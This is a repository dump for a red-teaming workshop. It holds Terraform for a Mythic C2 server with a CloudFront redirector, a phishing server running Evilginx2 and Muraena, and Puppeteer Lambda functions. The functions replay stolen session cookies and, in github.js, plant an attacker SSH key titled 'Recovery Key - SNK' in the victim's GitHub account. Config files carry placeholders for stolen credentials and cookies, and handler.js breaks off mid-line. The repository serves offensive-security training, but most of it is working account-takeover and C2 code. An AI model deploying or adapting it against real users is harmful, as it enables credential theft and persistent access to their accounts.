├── deps ├── muraena │ └── config │ │ ├── cert │ │ └── drop_certificate_here │ │ ├── github.necro │ │ ├── sincon.toml │ │ └── github.toml ├── necrobrowser │ ├── pwnppeteer │ │ ├── package.json │ │ ├── uploadScreenshot.js │ │ ├── snk.js │ │ ├── serverless.yml │ │ ├── github.js │ │ └── handler.js │ ├── puppeteer-troubleshooting │ │ ├── package.json │ │ ├── screenshot.js │ │ ├── sincon.js │ │ └── Github.js │ └── github.necro └── http_config.json ├── Modern Red Teaming.pdf ├── tf ├── s3.tf ├── providers.tf ├── backend.tf ├── variables.tf ├── outputs.tf ├── iam.tf ├── security_groups.tf ├── redirector.tf ├── networking.tf └── ec2.tf ├── .gitignore └── README.md /deps/muraena/config/cert/drop_certificate_here: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /Modern Red Teaming.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nbuzydeb/sincon24_modern_redteam/HEAD/Modern Red Teaming.pdf -------------------------------------------------------------------------------- /deps/necrobrowser/pwnppeteer/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "dependencies": { 3 | "@sparticuz/chromium": "^123.0.1", 4 | "aws-sdk": "^2.1623.0", 5 | "puppeteer-core": "^22.6.3" 6 | } 7 | } 8 | -------------------------------------------------------------------------------- /deps/necrobrowser/puppeteer-troubleshooting/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "dependencies": { 3 | "@sparticuz/chromium": "^123.0.1", 4 | "puppeteer": "^22.9.0", 5 | "puppeteer-core": "^22.9.0" 6 | } 7 | } 8 | -------------------------------------------------------------------------------- /tf/s3.tf: -------------------------------------------------------------------------------- 1 | resource "random_string" "bucket_suffix" { 2 | length = 6 3 | special = false 4 | upper = false 5 | } 6 | 7 | resource "aws_s3_bucket" "redteam_logs_bucket" { 8 | bucket = "red-team-logs-${random_string.bucket_suffix.result}" 9 | force_destroy = true 10 | } -------------------------------------------------------------------------------- /tf/providers.tf: -------------------------------------------------------------------------------- 1 | terraform { 2 | required_providers { 3 | aws = { 4 | source = "hashicorp/aws" 5 | version = " 5.48.0" 6 | } 7 | random = { 8 | source = "hashicorp/random" 9 | version = "3.6.1" 10 | } 11 | } 12 | } 13 | 14 | provider "aws" { 15 | profile = var.aws_profile 16 | region = var.aws_region 17 | } -------------------------------------------------------------------------------- /tf/backend.tf: -------------------------------------------------------------------------------- 1 | # Some values here are duplicated from variables.tf due to how early the backend data is processed 2 | 3 | terraform { 4 | backend "s3" { 5 | profile = "sincon2024" 6 | bucket = "" # WARNING: Create this bucket manually before using this Terraform project and change the value appropriately! 7 | key = "mythicv3" 8 | region = "ap-southeast-1" 9 | } 10 | } -------------------------------------------------------------------------------- /deps/http_config.json: -------------------------------------------------------------------------------- 1 | { 2 | "instances": [ 3 | { 4 | "ServerHeaders": { 5 | "Server": "NetDNA-cache/2.81", 6 | "Cache-Control": "max-age=0, no-cache", 7 | "Pragma": "no-cache", 8 | "Connection": "keep-alive", 9 | "Content-Type": "application/javascript; charset=utf-8" 10 | }, 11 | "port": 81, 12 | "key_path": "privkey.pem", 13 | "cert_path": "fullchain.pem", 14 | "debug": true, 15 | "use_ssl": false 16 | } 17 | ] 18 | } 19 | -------------------------------------------------------------------------------- /tf/variables.tf: -------------------------------------------------------------------------------- 1 | variable "mythic_v3_server_name" { 2 | default = "C2-RedTeam-Mythic-v3" 3 | } 4 | 5 | variable "phishing_server_name" { 6 | default = "Phishing-server" 7 | } 8 | 9 | variable "aws_profile" { 10 | default = "sincon2024" 11 | } 12 | 13 | variable "aws_region" { 14 | default = "ap-southeast-1" 15 | } 16 | 17 | variable "aws_instance_type" { 18 | default = "t4g.small" 19 | } 20 | 21 | variable "key_name" { 22 | default = "sincon2024" 23 | } 24 | 25 | variable "aws_ip_allowlist" { 26 | default = ["10.100.1.0/24"] 27 | } -------------------------------------------------------------------------------- /tf/outputs.tf: -------------------------------------------------------------------------------- 1 | # C2 Cloudfront Redirector URL 2 | output "mythic_v3_cloudfront_distribution" { 3 | value = format("https://%s", aws_cloudfront_distribution.aws_cdn_mythic_v3.domain_name) 4 | } 5 | 6 | # Mythic C2 instance ID 7 | output "mythic_v3_instance_id" { 8 | value = aws_instance.mythic_v3.id 9 | } 10 | 11 | # Phishing server instance ID 12 | output "phishing_instance_id" { 13 | value = aws_instance.phishing.id 14 | } 15 | 16 | # Phishing server public IP 17 | output "phishing_server_IP" { 18 | value = aws_instance.phishing.public_ip 19 | } -------------------------------------------------------------------------------- /deps/necrobrowser/puppeteer-troubleshooting/screenshot.js: -------------------------------------------------------------------------------- 1 | /** 2 | * @name screenshots 3 | * 4 | * @desc Snaps a basic screenshot of website homepage and saves it a .png file. 5 | * 6 | * @see {@link https://github.com/GoogleChrome/puppeteer/blob/master/docs/api.md#screenshot} 7 | */ 8 | 9 | const puppeteer = require('puppeteer'); 10 | 11 | (async () => { 12 | const browser = await puppeteer.launch() 13 | const page = await browser.newPage() 14 | await page.setViewport({ width: 1280, height: 800 }) 15 | await page.goto('https://example.com/') 16 | await page.screenshot({ path: 'screenshot.png', fullPage: true }) 17 | await browser.close() 18 | })() 19 | -------------------------------------------------------------------------------- /deps/muraena/config/github.necro: -------------------------------------------------------------------------------- 1 | { 2 | "name": "InstrumentGithub", 3 | "task": { 4 | "type": "github", 5 | "params": { 6 | "keywords": ["password","certificate","vpn","credential","login","access","portal"], 7 | 8 | "sshKeyTitle" : "Recovery Key - SNK", 9 | 10 | "sshKey": "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCmcG/kI8N+h2hU6BrRCqJf+EUY2EyblEy2sZR4bBuyCcNYuB3PojxokVYinHTdNQXQ/T1DYfiikaxt3/dlMT/53vgWPYk6AvzvmUPdg33SH+EFECo2trpkJbN/wYldFqMYssq2PrF1nE8Ey0H4z/aFw5Ih6S3c6m2gyKcCK38esbGhDlcYK2wj9/2L/AtvOZK2jTkL4GqEUOszzE9UgOq6Xy1NapUNrmzMoRtnnn8WlNnF6oBk2hFKo5A+Qc6vxsPC4YqAFbJ0JoQg5uL+eWh48Nzh4rCYuKljAHTBCTgzT3J30cq1a0dOzQPHaEFALLl/GKtluS36UjOQ+y2y08oL recovery_only", 11 | 12 | "credentials": %%%CREDENTIALS%%% 13 | } 14 | }, 15 | "cookies": %%%COOKIES%%% 16 | } 17 | 18 | -------------------------------------------------------------------------------- /deps/necrobrowser/github.necro: -------------------------------------------------------------------------------- 1 | { 2 | "name": "InstrumentGithub", 3 | "task": { 4 | "type": "github", 5 | "params": { 6 | "keywords": ["password","certificate","vpn","credential","login","access","portal"], 7 | 8 | "sshKeyTitle" : "Recovery Key - SNK", 9 | 10 | "sshKey": "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCmcG/kI8N+h2hU6BrRCqJf+EUY2EyblEy2sZR4bBuyCcNYuB3PojxokVYinHTdNQXQ/T1DYfiikaxt3/dlMT/53vgWPYk6AvzvmUPdg33SH+EFECo2trpkJbN/wYldFqMYssq2PrF1nE8Ey0H4z/aFw5Ih6S3c6m2gyKcCK38esbGhDlcYK2wj9/2L/AtvOZK2jTkL4GqEUOszzE9UgOq6Xy1NapUNrmzMoRtnnn8WlNnF6oBk2hFKo5A+Qc6vxsPC4YqAFbJ0JoQg5uL+eWh48Nzh4rCYuKljAHTBCTgzT3J30cq1a0dOzQPHaEFALLl/GKtluS36UjOQ+y2y08oL recovery_only", 11 | 12 | "credentials": %%%CREDENTIALS%%% 13 | } 14 | }, 15 | "cookies": %%%COOKIES%%% 16 | } 17 | 18 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | tf/.terraform.lock.hcl 2 | 3 | # Local .terraform directories 4 | **/.terraform/* 5 | 6 | # .tfstate files 7 | *.tfstate 8 | *.tfstate.* 9 | 10 | # Crash log files 11 | crash.log 12 | 13 | # Exclude all .tfvars files, which are likely to contain sentitive data, such as 14 | # password, private keys, and other secrets. These should not be part of version 15 | # control as they are data points which are potentially sensitive and subject 16 | # to change depending on the environment. 17 | # 18 | *.tfvars 19 | 20 | # Ignore override files as they are usually used to override resources locally and so 21 | # are not checked in 22 | override.tf 23 | override.tf.json 24 | *_override.tf 25 | *_override.tf.json 26 | 27 | # Include override files you do wish to add to version control using negated pattern 28 | # 29 | # !example_override.tf 30 | 31 | # Include tfplan files to ignore the plan output of command: terraform plan -out=tfplan 32 | # example: *tfplan* 33 | 34 | # Ignore CLI configuration files 35 | .terraformrc 36 | terraform.rc 37 | 38 | # macOS DS_Store files 39 | **/.DS_Store 40 | -------------------------------------------------------------------------------- /tf/iam.tf: -------------------------------------------------------------------------------- 1 | # EC2 instance profile creation - needed to use AWS SSM Session Manager 2 | resource "aws_iam_role" "ssm_role" { 3 | name = "SSMRoleForEC2" 4 | 5 | assume_role_policy = jsonencode({ 6 | Version = "2012-10-17" 7 | Statement = [ 8 | { 9 | Action = "sts:AssumeRole" 10 | Effect = "Allow" 11 | Principal = { 12 | Service = "ec2.amazonaws.com" 13 | } 14 | }, 15 | ] 16 | }) 17 | } 18 | 19 | resource "aws_iam_role_policy_attachment" "ssm_policy_attachment" { 20 | role = aws_iam_role.ssm_role.name 21 | policy_arn = "arn:aws:iam::aws:policy/AmazonSSMManagedInstanceCore" 22 | } 23 | 24 | resource "aws_iam_instance_profile" "ssm_instance_profile" { 25 | name = "SSMInstanceProfile" 26 | role = aws_iam_role.ssm_role.name 27 | } 28 | 29 | # Logs S3 Bucket policy 30 | resource "aws_s3_bucket_policy" "allow_alb_logs" { 31 | bucket = aws_s3_bucket.redteam_logs_bucket.id 32 | policy = data.aws_iam_policy_document.allow_alb_logs.json 33 | } 34 | 35 | # Fetch the current AWS caller identity - needed to get the AWS account ID 36 | data "aws_caller_identity" "current" {} 37 | 38 | data "aws_iam_policy_document" "allow_alb_logs" { 39 | statement { 40 | principals { 41 | type = "AWS" 42 | identifiers = ["arn:aws:iam::114774131450:root"] 43 | } 44 | 45 | actions = [ 46 | "s3:PutObject" 47 | ] 48 | 49 | resources = [ 50 | "${aws_s3_bucket.redteam_logs_bucket.arn}/alb_v3/AWSLogs/${data.aws_caller_identity.current.account_id}/*" 51 | ] 52 | } 53 | } -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # SINCON2024 Modern Red Teaming workshop 2 | 3 | This is the Git repository for the `Modern Red Teaming` workshop given at SINCON2024. 4 | 5 | It is initially based on the [Multi-Stage-Mythic](https://github.com/kyleavery/Multi-Stage-Mythic) project from Kyle Avery, but with significant additions, upgrades and modifications: 6 | * Cloudfront geo-restriction to cut noise from mass scanners and defeat some security solutions hosted in other countries 7 | * Use of Cloudfront prefix list in the security group of the load balancer to prevent direct access 8 | * ALB instead of ELB for content-based routing and WebSockets support 9 | * ALB access logging for debugging / compliance purposes 10 | * Use of SSM Session Manager instead of open SSH to avoid exposing the SSH port or setting up a bastion host. The instance is in a private subnet, with no public IP address assigned 11 | * Use of EC2 `user-data` instead of Terraform's `remote-exec` provider as there's no native SSM support for the latter 12 | * The `http` C2 profile now uses Docker volumes, so this project uses the new path to copy the `config.json` file 13 | * Works with the new Mythic v3 (tested with v3.2.20-rc7) 14 | * Dynamic Ubuntu AMI via aws_ami data source, to get the latest AMI and no hardcoded, region-dependent AMI ID 15 | * Use of S3 as a Terraform state backend 16 | * Use of `t4g.small` ARM64 EC2 instances as they're free for 750 hours / month until end 2024 :) 17 | * Creation of a phishing server with pre-built `Evilginx2` and `Muraena` binaries 18 | * No scripted payload generation, no Azure CDN to make things simpler during the workshop -------------------------------------------------------------------------------- /deps/necrobrowser/pwnppeteer/uploadScreenshot.js: -------------------------------------------------------------------------------- 1 | const aws = require("aws-sdk"); 2 | const fs = require("fs"); 3 | 4 | // Your S3 bucket from earlier. Make sure you use the same name 5 | // used in serverless.yml 6 | const BUCKET = process.env.BUCKET_NAME; 7 | 8 | // hardcoded 9 | //const BUCKET = "pwnppeteer"; 10 | 11 | 12 | // uploadScreenshot takes a temporary file path and returns a URL 13 | exports.uploadScreenshot = async function uploadScreenshot( 14 | path, 15 | screenshot, 16 | resize = false 17 | ) { 18 | // aws-sdk is all callback-based so we have to wrap in Promises, yuck 19 | return new Promise((resolve, reject) => { 20 | const s3 = new aws.S3({ 21 | apiVersion: "2006-03-01" 22 | }); 23 | 24 | (async function() { 25 | const buffer = await new Promise((resolve, reject) => { 26 | // reading the file 27 | fs.readFile(path, (err, data) => { 28 | if (err) reject(err); 29 | resolve(data); 30 | }); 31 | }); 32 | 33 | // uploading the file buffer 34 | const { Location } = await s3 35 | .upload({ 36 | Bucket: BUCKET, 37 | Key: `${screenshot}-${new Date().getTime()}.png`, 38 | Body: buffer, 39 | // Set the approriate ACL that fit your need 40 | ACL: "public-read" 41 | }) 42 | .promise(); 43 | 44 | resolve(Location); 45 | })(); 46 | }); 47 | }; 48 | -------------------------------------------------------------------------------- /deps/necrobrowser/pwnppeteer/snk.js: -------------------------------------------------------------------------------- 1 | /** 2 | * 3 | * Skeleton for puppeteer pwnage 4 | * Simple screenshot 5 | * 6 | **/ 7 | 8 | const { uploadScreenshot } = require("./uploadScreenshot"); 9 | const puppeteer = require("puppeteer-core"); 10 | const chromium = require("@sparticuz/chromium"); 11 | 12 | module.exports.pwn = async (event) => { 13 | try { 14 | const browser = await puppeteer.launch({ 15 | args: chromium.args, 16 | defaultViewport: chromium.defaultViewport, 17 | executablePath: await chromium.executablePath(), 18 | headless: chromium.headless, 19 | ignoreHTTPSErrors: true, 20 | }); 21 | 22 | // Set Stolen Cookies 23 | const d=JSON.parse(JSON.stringify(event)); 24 | const stolenCookies=d.cookies; 25 | //console.log(d.cookies); 26 | //console.log(stolenCookies); 27 | 28 | // define name for this puppeter action 29 | const screenshot = `snktest-${event.login}`; 30 | // define temp screenshot file 31 | const imagePath = `/tmp/${screenshot}-${new Date().getTime()}.png`; 32 | 33 | // Start headless navigation 34 | const page = await browser.newPage(); 35 | await page.setCookie(...stolenCookies); 36 | 37 | await page.goto("https://example.com", { waitUntil: "networkidle0" }); 38 | 39 | console.log("Page Title:", await page.title()); 40 | 41 | await page.screenshot({ path: imagePath }) 42 | 43 | await page.close(); 44 | 45 | await browser.close(); 46 | //Debug purpose as usual 47 | console.log(' screenshot done ') 48 | 49 | // upload screenshot to S3 50 | const url = await uploadScreenshot(imagePath, screenshot); 51 | 52 | //return result; 53 | console.log('result: ' + url ) 54 | } catch (error) { 55 | throw new Error(error.message); 56 | } 57 | }; 58 | -------------------------------------------------------------------------------- /deps/necrobrowser/puppeteer-troubleshooting/sincon.js: -------------------------------------------------------------------------------- 1 | /** 2 | * @name puppeteer temple to troubleshoot. 3 | * 4 | * @desc Logs into a web site and screenshot for proof. 5 | * Set your username, password. 6 | * 7 | */ 8 | const puppeteer = require('puppeteer') 9 | const screenshot = 'sincon.png'; 10 | const USER = 'user1'; 11 | const PWD = 'password1'; 12 | 13 | (async () => { 14 | const browser = await puppeteer.launch({headless: false}) 15 | const page = await browser.newPage() 16 | const url = 'https://sincon.pwnwith.me/login' 17 | await page.setViewport({ width: 1280, height: 800 }); 18 | 19 | const loadUrl = async function (page, url) { 20 | try { 21 | await page.goto(url, { 22 | timeout: 0, 23 | waitUntil: ['load', 'domcontentloaded', 'networkidle0', 'networkidle2'] 24 | }) 25 | } catch (error) { 26 | throw new Error("url " + url + " url not loaded -> " + error) 27 | } 28 | } 29 | 30 | /** 31 | const cookies = [] 32 | var cookies = [ // cookie exported by google chrome plugin editthiscookie 33 | await page.setCookie(...cookies); 34 | //const cookiesSet = await page.cookies(url); 35 | //console.log(JSON.stringify(cookiesSet)); 36 | **/ 37 | 38 | await page.goto(url, { 39 | // networkidle0 comes handy for SPAs that load resources with fetch requests. 40 | // networkidle2 comes handy for pages that do long-polling or any other side 41 | // activity 42 | timeout: 20000, 43 | waitUntil: ['load', 'domcontentloaded', 'networkidle0', 'networkidle2'] 44 | }); 45 | 46 | // Selector does not work anymore 47 | await page.click(''); 48 | await page.keyboard.type(USER); 49 | 50 | await page.click(''); 51 | await page.keyboard.type(PWD); 52 | 53 | // await page.click('#login > form > div.auth-form-body.mt-3 > input.btn.btn-primary.btn-block'); 54 | await page.click('') 55 | 56 | // Wait until the next page get loaded before to screenshot 57 | await page.waitForSelector('') 58 | // Screenshot the page we reached. 59 | await page.screenshot({ path: screenshot }) 60 | browser.close() 61 | // console.log('Screenshot has been taken!') 62 | console.log('See screenshot: ' + screenshot) 63 | })() 64 | -------------------------------------------------------------------------------- /tf/security_groups.tf: -------------------------------------------------------------------------------- 1 | # Mythic C2 SG 2 | resource "aws_security_group" "mythic_server" { 3 | name = "mythic_sg" 4 | vpc_id = aws_vpc.my_vpc.id 5 | } 6 | 7 | resource "aws_security_group_rule" "mythic_server_sg_c2listener_rule" { 8 | type = "ingress" 9 | from_port = 81 10 | to_port = 81 11 | protocol = "tcp" 12 | security_group_id = aws_security_group.mythic_server.id 13 | source_security_group_id = aws_security_group.alb_c2_listener_sg.id 14 | } 15 | 16 | resource "aws_security_group_rule" "mythic_server_sg_c2admin_rule" { 17 | type = "ingress" 18 | from_port = 7443 19 | to_port = 7443 20 | protocol = "tcp" 21 | security_group_id = aws_security_group.mythic_server.id 22 | cidr_blocks = var.aws_ip_allowlist 23 | } 24 | 25 | resource "aws_security_group_rule" "mythic_server_sg_egress_rule" { 26 | type = "egress" 27 | from_port = 0 28 | to_port = 0 29 | protocol = "-1" 30 | cidr_blocks = ["0.0.0.0/0"] 31 | security_group_id = aws_security_group.mythic_server.id 32 | } 33 | 34 | # ALB SG 35 | data "aws_ec2_managed_prefix_list" "cloudfront" { 36 | name = "com.amazonaws.global.cloudfront.origin-facing" 37 | } 38 | 39 | resource "aws_security_group" "alb_c2_listener_sg" { 40 | name = "alb_c2_listener_sg" 41 | vpc_id = aws_vpc.my_vpc.id 42 | 43 | ingress { 44 | from_port = 80 45 | to_port = 80 46 | protocol = "tcp" 47 | prefix_list_ids = [data.aws_ec2_managed_prefix_list.cloudfront.id] 48 | } 49 | egress { 50 | from_port = 0 51 | to_port = 0 52 | protocol = "-1" 53 | cidr_blocks = ["0.0.0.0/0"] 54 | } 55 | } 56 | 57 | # Phishing server SG 58 | resource "aws_security_group" "phishing_server" { 59 | name = "phishing_sg" 60 | vpc_id = aws_vpc.my_vpc.id 61 | 62 | ingress { 63 | from_port = 80 64 | to_port = 80 65 | protocol = "tcp" 66 | cidr_blocks = ["0.0.0.0/0"] 67 | } 68 | ingress { 69 | from_port = 443 70 | to_port = 443 71 | protocol = "tcp" 72 | cidr_blocks = ["0.0.0.0/0"] 73 | } 74 | egress { 75 | from_port = 0 76 | to_port = 0 77 | protocol = "-1" 78 | cidr_blocks = ["0.0.0.0/0"] 79 | } 80 | } -------------------------------------------------------------------------------- /deps/necrobrowser/pwnppeteer/serverless.yml: -------------------------------------------------------------------------------- 1 | service: lambda-pwnppeteer 2 | # app and org for use with dashboard.serverless.com 3 | #app: pwnppeteer 4 | #org: your-org-name 5 | 6 | # You can pin your service to only deploy with a specific Serverless version 7 | # Check out our docs for more details 8 | # frameworkVersion: "=X.X.X" 9 | 10 | custom: 11 | ##bucket: 12 | ## Resource: "arn:aws:s3:::${self:custom.bucket}/*" 13 | bucket: pwnppeteer-sincon 14 | 15 | provider: 16 | name: aws 17 | profile: AWS_PROFILE 18 | runtime: nodejs18.x 19 | iamRoleStatements: 20 | - Effect: "Allow" 21 | Action: 22 | - lambda:InvokeFunction 23 | - lambda:InvokeAsync 24 | Resource: "*" 25 | - Effect: "Allow" 26 | Action: 27 | - "s3:*" 28 | Resource: "arn:aws:s3:::${self:custom.bucket}/*" 29 | ## hardcoded 30 | # Resource: "arn:aws:s3:::pwnppeteer/*" 31 | 32 | # you can overwrite defaults here 33 | stage: dev 34 | # region is something you have to consider depending where your target is 35 | # located 36 | region: ap-southeast-1 37 | 38 | package: 39 | exclude: 40 | - node_modules/puppeteer/.local-chromium/** 41 | 42 | functions: 43 | Pwnppeteer: ## Orchestration 44 | handler: handler.pwn 45 | events: 46 | - http: 47 | # set what ever you want here 48 | path: /instrument/muraena 49 | method: post 50 | PwnGithub: ## Github profil 51 | handler: github.pwn 52 | timeout: 30 ## Need to be set for the first execution of the lambda - default 6s is too short 53 | environment: 54 | BUCKET_NAME: ${self:custom.bucket} 55 | PwnSNK: ## Test/Debug Lamda 56 | handler: snk.pwn 57 | timeout: 30 ## Need to be set for the first execution of the lambda - default 6s is too short 58 | environment: 59 | BUCKET_NAME: ${self:custom.bucket} 60 | ## hardcoded 61 | #BUCKET_NAME: pwnppeteer 62 | 63 | # Add dedicated s3 bucket to store results. 64 | # Privileges are too permissive , must be restricted 65 | resources: 66 | Resources: 67 | UploadBucket: 68 | Type: AWS::S3::Bucket 69 | Properties: 70 | BucketName: ${self:custom.bucket} 71 | #AccessControl: PublicRead 72 | AccessControl: Private 73 | CorsConfiguration: 74 | CorsRules: 75 | - AllowedMethods: 76 | - GET 77 | - PUT 78 | - POST 79 | - HEAD 80 | AllowedOrigins: 81 | - "*" 82 | AllowedHeaders: 83 | - "*" 84 | -------------------------------------------------------------------------------- /tf/redirector.tf: -------------------------------------------------------------------------------- 1 | resource "aws_lb" "alb_c2_v3" { 2 | name = "c2-alb-v3" 3 | internal = false 4 | load_balancer_type = "application" 5 | subnets = [aws_subnet.my_public_subnet_1.id, aws_subnet.my_public_subnet_2.id] 6 | security_groups = [aws_security_group.alb_c2_listener_sg.id] 7 | access_logs { 8 | bucket = aws_s3_bucket.redteam_logs_bucket.id 9 | prefix = "alb_v3" 10 | enabled = true 11 | } 12 | } 13 | 14 | resource "aws_lb_listener" "lb_listener_c2_mythic_v3" { 15 | load_balancer_arn = aws_lb.alb_c2_v3.arn 16 | port = 80 17 | protocol = "HTTP" 18 | 19 | default_action { 20 | target_group_arn = aws_lb_target_group.lb_tg_c2_mythic_v3.arn 21 | type = "forward" 22 | } 23 | } 24 | 25 | resource "aws_lb_target_group" "lb_tg_c2_mythic_v3" { 26 | name = "c2-mythic-v3-tg" 27 | port = 81 28 | protocol = "HTTP" 29 | vpc_id = aws_vpc.my_vpc.id 30 | target_type = "instance" 31 | } 32 | 33 | resource "aws_lb_target_group_attachment" "lb_tg_attachment_c2_mythic_v3" { 34 | target_group_arn = aws_lb_target_group.lb_tg_c2_mythic_v3.arn 35 | target_id = aws_instance.mythic_v3.id 36 | port = 81 37 | } 38 | 39 | resource "aws_cloudfront_distribution" "aws_cdn_mythic_v3" { 40 | origin { 41 | domain_name = aws_lb.alb_c2_v3.dns_name 42 | origin_id = aws_lb.alb_c2_v3.dns_name 43 | 44 | custom_origin_config { 45 | http_port = "80" 46 | https_port = "443" 47 | origin_protocol_policy = "http-only" 48 | origin_ssl_protocols = ["TLSv1.1"] 49 | } 50 | } 51 | 52 | enabled = true 53 | is_ipv6_enabled = false 54 | price_class = "PriceClass_200" 55 | 56 | default_cache_behavior { 57 | allowed_methods = ["DELETE", "GET", "HEAD", "OPTIONS", "PATCH", "POST", "PUT"] 58 | cached_methods = ["GET", "HEAD"] 59 | target_origin_id = aws_lb.alb_c2_v3.dns_name 60 | 61 | forwarded_values { 62 | query_string = true 63 | headers = ["*"] 64 | 65 | cookies { 66 | forward = "all" 67 | } 68 | } 69 | 70 | viewer_protocol_policy = "https-only" 71 | min_ttl = 0 72 | default_ttl = 0 73 | max_ttl = 0 74 | } 75 | 76 | restrictions { 77 | geo_restriction { 78 | restriction_type = "whitelist" 79 | locations = ["SG"] 80 | } 81 | } 82 | 83 | viewer_certificate { 84 | cloudfront_default_certificate = true 85 | } 86 | } -------------------------------------------------------------------------------- /tf/networking.tf: -------------------------------------------------------------------------------- 1 | # Core Networking 2 | 3 | resource "aws_vpc" "my_vpc" { 4 | cidr_block = "10.100.0.0/16" 5 | enable_dns_support = true 6 | enable_dns_hostnames = true 7 | tags = { 8 | Name = "MyVPC" 9 | } 10 | } 11 | 12 | resource "aws_internet_gateway" "my_igw" { 13 | vpc_id = aws_vpc.my_vpc.id 14 | tags = { 15 | Name = "MyInternetGateway" 16 | } 17 | } 18 | 19 | resource "aws_subnet" "my_private_subnet" { 20 | vpc_id = aws_vpc.my_vpc.id 21 | cidr_block = "10.100.1.0/24" 22 | availability_zone = "ap-southeast-1a" 23 | map_public_ip_on_launch = false 24 | tags = { 25 | Name = "MyPrivateSubnet" 26 | } 27 | } 28 | 29 | resource "aws_subnet" "my_public_subnet_1" { 30 | vpc_id = aws_vpc.my_vpc.id 31 | cidr_block = "10.100.2.0/24" 32 | availability_zone = "ap-southeast-1a" 33 | map_public_ip_on_launch = true 34 | tags = { 35 | Name = "MyPublicSubnet1" 36 | } 37 | } 38 | 39 | resource "aws_subnet" "my_public_subnet_2" { 40 | vpc_id = aws_vpc.my_vpc.id 41 | cidr_block = "10.100.3.0/24" 42 | availability_zone = "ap-southeast-1b" 43 | map_public_ip_on_launch = true 44 | tags = { 45 | Name = "MyPublicSubnet2" 46 | } 47 | } 48 | 49 | resource "aws_eip" "nat_eip" { 50 | } 51 | 52 | resource "aws_nat_gateway" "my_nat_gw" { 53 | allocation_id = aws_eip.nat_eip.id 54 | subnet_id = aws_subnet.my_public_subnet_1.id 55 | tags = { 56 | Name = "MyNATGateway" 57 | } 58 | depends_on = [aws_internet_gateway.my_igw] 59 | } 60 | 61 | resource "aws_route_table" "my_public_route_table" { 62 | vpc_id = aws_vpc.my_vpc.id 63 | route { 64 | cidr_block = "0.0.0.0/0" 65 | gateway_id = aws_internet_gateway.my_igw.id 66 | } 67 | tags = { 68 | Name = "MyPublicRouteTable" 69 | } 70 | } 71 | 72 | resource "aws_route_table_association" "public_subnet_1_association" { 73 | subnet_id = aws_subnet.my_public_subnet_1.id 74 | route_table_id = aws_route_table.my_public_route_table.id 75 | } 76 | 77 | resource "aws_route_table_association" "public_subnet_2_association" { 78 | subnet_id = aws_subnet.my_public_subnet_2.id 79 | route_table_id = aws_route_table.my_public_route_table.id 80 | } 81 | 82 | resource "aws_route_table" "my_private_route_table" { 83 | vpc_id = aws_vpc.my_vpc.id 84 | route { 85 | cidr_block = "0.0.0.0/0" 86 | nat_gateway_id = aws_nat_gateway.my_nat_gw.id 87 | } 88 | tags = { 89 | Name = "MyPrivateRouteTable" 90 | } 91 | } 92 | 93 | resource "aws_route_table_association" "private_subnet_association" { 94 | subnet_id = aws_subnet.my_private_subnet.id 95 | route_table_id = aws_route_table.my_private_route_table.id 96 | } -------------------------------------------------------------------------------- /deps/necrobrowser/pwnppeteer/github.js: -------------------------------------------------------------------------------- 1 | /** 2 | * 3 | * Payload for Github access 4 | * Add a ssh key and take screenshot 5 | * 6 | **/ 7 | 8 | const { uploadScreenshot } = require("./uploadScreenshot"); 9 | const chromium = require("@sparticuz/chromium"); 10 | const puppeteer = require("puppeteer-core"); 11 | 12 | module.exports.pwn = async (event) => { 13 | 14 | try { 15 | const browser = await puppeteer.launch({ 16 | args: chromium.args, 17 | defaultViewport: chromium.defaultViewport, 18 | executablePath: await chromium.executablePath(), 19 | headless: chromium.headless, 20 | ignoreHTTPSErrors: true, 21 | }); 22 | 23 | //console.log(event); 24 | const d=JSON.parse(JSON.stringify(event)); 25 | const sshkeytitle=d.task.params.sshKeyTitle; 26 | const sshkey=d.task.params.sshKey; 27 | //console.log(d.task.params.sshKey); 28 | const stolenCookies=d.cookies; 29 | //console.log(d.cookies); 30 | //console.log(stolenCookies); 31 | 32 | const page = await browser.newPage(); 33 | await page.setCookie(...stolenCookies); 34 | // const cookiesSet = await page.cookies("https://github.com"); 35 | // console.log(JSON.stringify(cookiesSet)); 36 | await page.goto("https://github.com/login", { 37 | // networkidle0 comes handy for SPAs that load resources with fetch requests. 38 | // networkidle2 comes handy for pages that do long-polling or any other side 39 | // activity 40 | timeout: 20000, 41 | waitUntil: ['load', 'domcontentloaded', 'networkidle0', 'networkidle2'] 42 | }); 43 | //debug 44 | console.log("Page Title:", await page.title()); 45 | // GoTo SSH/NEW 46 | await page.goto('https://github.com/settings/ssh/new') 47 | console.log("Page Title:", await page.title()); 48 | await page.click('#ssh_key_title'); 49 | //await page.keyboard.type('recovery-key'); 50 | await page.keyboard.type(sshkeytitle); 51 | await page.click('#ssh_key_key'); 52 | await page.keyboard.type(sshkey); 53 | await page.click('#settings-frame > form > p > button'); 54 | await page.waitForSelector('body > div.logged-in.env-production.page-responsive > div.application-main > main > div > header > a'); 55 | console.log("Page Title:", await page.title()); 56 | // Screenshot 57 | const screenshot = 'github'; 58 | const imagePath = `/tmp/${screenshot}-${new Date().getTime()}.png`; 59 | await page.screenshot({ path: imagePath }) 60 | 61 | 62 | // Debug purpose as usual 63 | console.log(' Login and screenshot done ') 64 | // upload screenshot to S3 65 | const url = await uploadScreenshot(imagePath, screenshot); 66 | 67 | //await page.close(); 68 | await browser.close() 69 | //return result; 70 | console.log('result: ' + url ) 71 | } catch (error) { 72 | throw new Error(error.message); 73 | } 74 | }; 75 | -------------------------------------------------------------------------------- /deps/necrobrowser/pwnppeteer/handler.js: -------------------------------------------------------------------------------- 1 | const AWS = require("aws-sdk"); 2 | 3 | module.exports.pwn = (event, context, callback) => { 4 | 5 | var lambda = new AWS.Lambda(); 6 | 7 | // a body is expected with all instrumentation value you need 8 | // https://github.com/muraenateam/muraena/blob/master/config/instrument.necro 9 | if (event.body == null || JSON.parse(event.body).task.type == undefined ) { 10 | callback(null, { 11 | statusCode: 400, 12 | body: JSON.stringify({ message: "Try hard, you can pwn someone :)"}) 13 | }); 14 | }; 15 | // Access variables from body 16 | // Parameters send to other lambdas 17 | const Provider = JSON.parse(event.body).task.type; 18 | const stolenLogin = JSON.parse(event.body).username; 19 | const stolenPass = JSON.parse(event.body).password; 20 | const stolenCookies = 